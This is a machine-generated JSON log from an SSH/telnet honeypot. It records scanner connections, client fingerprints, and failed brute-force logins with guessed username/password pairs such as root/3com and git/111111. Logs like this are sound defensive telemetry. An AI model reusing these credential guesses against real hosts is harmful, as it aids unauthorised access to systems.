{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:01.971188Z","src_ip":"43.153.22.143","session":"429586e9df1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alinnick","message":"login attempt [root/alinnick] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:02.277851Z","src_ip":"43.153.22.143","session":"429586e9df1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:03.352290Z","src_ip":"43.153.22.143","session":"429586e9df1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":51872,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce6eaac9f61e","protocol":"ssh","message":"New connection: 103.27.238.114:51872 (159.203.135.109:22) [session: ce6eaac9f61e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:09.855748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:09.863089Z","src_ip":"103.27.238.114","session":"ce6eaac9f61e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:10.167670Z","src_ip":"103.27.238.114","session":"ce6eaac9f61e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789n","message":"login attempt [root/123456789n] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:11.016008Z","src_ip":"103.27.238.114","session":"ce6eaac9f61e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:12.307892Z","src_ip":"103.27.238.114","session":"ce6eaac9f61e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52284,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c72e678887b","protocol":"telnet","message":"New connection: 152.42.224.71:52284 (10.17.0.5:23) [session: 1c72e678887b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:19.626304Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.124.153","src_port":34448,"dst_ip":"10.17.0.5","dst_port":22,"session":"59489ddf40a4","protocol":"ssh","message":"New connection: 43.153.124.153:34448 (10.17.0.5:22) [session: 59489ddf40a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:22.888869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:22.893887Z","src_ip":"43.153.124.153","session":"59489ddf40a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:22.962089Z","src_ip":"43.153.124.153","session":"59489ddf40a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3com","message":"login attempt [root/3com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:23.267083Z","src_ip":"43.153.124.153","session":"59489ddf40a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:24.337411Z","src_ip":"43.153.124.153","session":"59489ddf40a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":85.01609015464783,"message":"Connection lost after 85 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:24.828686Z","src_ip":"152.42.224.71","session":"0eec895fa1b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.111.187","src_port":39728,"dst_ip":"159.203.135.109","dst_port":22,"session":"eaf6e39a7c34","protocol":"ssh","message":"New connection: 43.128.111.187:39728 (159.203.135.109:22) [session: eaf6e39a7c34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:24.931151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:24.936414Z","src_ip":"43.128.111.187","session":"eaf6e39a7c34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:25.185728Z","src_ip":"43.128.111.187","session":"eaf6e39a7c34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"111111","message":"login attempt [git/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:26.200396Z","src_ip":"43.128.111.187","session":"eaf6e39a7c34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00187730789185,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:26.874982Z","src_ip":"152.42.224.71","session":"106aa271f88d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:27.450143Z","src_ip":"43.128.111.187","session":"eaf6e39a7c34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.13.181","src_port":59224,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b5864a28344","protocol":"ssh","message":"New connection: 154.83.13.181:59224 (159.203.135.109:22) [session: 8b5864a28344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:40.910410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:40.915128Z","src_ip":"154.83.13.181","session":"8b5864a28344","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49342,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4317a8c76d3","protocol":"telnet","message":"New connection: 152.42.224.71:49342 (10.17.0.5:23) [session: d4317a8c76d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:40.954894Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:41.128609Z","src_ip":"154.83.13.181","session":"8b5864a28344","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"111111","message":"login attempt [git/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:42.013159Z","src_ip":"154.83.13.181","session":"8b5864a28344","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:43.229670Z","src_ip":"154.83.13.181","session":"8b5864a28344","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.69.201","src_port":51548,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7fdddd4fb74","protocol":"ssh","message":"New connection: 43.153.69.201:51548 (10.17.0.5:22) [session: a7fdddd4fb74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:43.911529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:43.922009Z","src_ip":"43.153.69.201","session":"a7fdddd4fb74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:43.991013Z","src_ip":"43.153.69.201","session":"a7fdddd4fb74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tanja","message":"login attempt [root/tanja] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:44.333656Z","src_ip":"43.153.69.201","session":"a7fdddd4fb74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:45.405874Z","src_ip":"43.153.69.201","session":"a7fdddd4fb74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":45312,"dst_ip":"10.17.0.5","dst_port":22,"session":"748b0af6fbef","protocol":"ssh","message":"New connection: 103.173.227.57:45312 (10.17.0.5:22) [session: 748b0af6fbef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:48.575679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:48.581360Z","src_ip":"103.173.227.57","session":"748b0af6fbef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:48.827311Z","src_ip":"103.173.227.57","session":"748b0af6fbef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"03082006","message":"login attempt [root/03082006] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:49.562122Z","src_ip":"103.173.227.57","session":"748b0af6fbef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.99061608314514,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:49.616807Z","src_ip":"152.42.224.71","session":"1c72e678887b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"197.248.104.31","src_port":53776,"dst_ip":"10.17.0.5","dst_port":22,"session":"a06f6116c7b9","protocol":"ssh","message":"New connection: 197.248.104.31:53776 (10.17.0.5:22) [session: a06f6116c7b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:50.743531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:50.748688Z","src_ip":"197.248.104.31","session":"a06f6116c7b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:50.810813Z","src_ip":"103.173.227.57","session":"748b0af6fbef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:50.959871Z","src_ip":"197.248.104.31","session":"a06f6116c7b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ECu13nhc64","message":"login attempt [root/ECu13nhc64] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:51.829902Z","src_ip":"197.248.104.31","session":"a06f6116c7b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":53436,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9f5965ce65b","protocol":"ssh","message":"New connection: 103.75.183.219:53436 (10.17.0.5:22) [session: e9f5965ce65b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:52.970453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:52.975322Z","src_ip":"103.75.183.219","session":"e9f5965ce65b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:53.043428Z","src_ip":"197.248.104.31","session":"a06f6116c7b9","protocol":"ssh"}
